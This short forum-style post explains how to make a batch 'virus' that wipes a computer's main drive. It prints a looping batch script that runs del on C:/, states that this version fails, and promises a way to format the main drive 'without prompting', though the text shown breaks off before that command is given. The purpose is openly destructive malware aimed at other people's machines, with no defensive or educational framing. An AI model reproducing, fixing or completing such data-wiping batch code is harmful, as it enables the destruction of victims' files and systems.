A lot of people have problems with making batch viruses that delete the C: drive (or whatever the main HD of a computer is) the reasoning behind your troubles is that you cannot delete a everything on the C: drive with bat, it is just not allowed, and It will not work.
Code:
:start
if exist C:/ goto remove
if not exist C:/ goto end
:remove
del C:/
goto start
:end
That code will NOT work. But what you can do is.
it formats the main drive without prompting.